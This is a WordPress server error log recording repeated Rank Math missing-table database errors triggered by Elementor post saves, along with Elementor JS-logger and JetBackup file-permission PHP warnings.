WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:22:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:22:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:23:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:23:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1350 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:23:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:23:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1351 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:23:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:23:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1352 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:25:43 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:25:43 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:26:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:26:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:26:15 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:26:15 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:26:28 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:26:28 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:26:43 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:26:43 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:28:00 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:28:00 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:28:26 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:28:26 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:28:37 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:28:37 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:29:05 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:29:05 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:29:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1353 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:29:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1353 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:29:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1353 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:30:41 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:30:41 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:31:09 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:31:09 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:31:23 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:31:23 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:31:33 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:31:33 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:31:50 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:31:50 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:32:26 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:32:26 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:32:54 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:32:54 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:33:11 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:33:11 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:33:52 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:33:52 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:34:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:34:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:34:19 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:34:19 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:34:24 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:34:24 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:34:33 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:34:33 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:35:08 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:35:08 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:35:58 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:35:58 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:36:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:36:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1356 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:36:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:36:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1357 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:36:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:36:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1358 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:48:11 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:48:11 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:48:21 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:48:21 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:48:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:49:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:49:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:49:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:49:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:50:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:50:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:50:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:50:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:50:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:51:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:52:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:52:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:52:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:52:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:52:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in 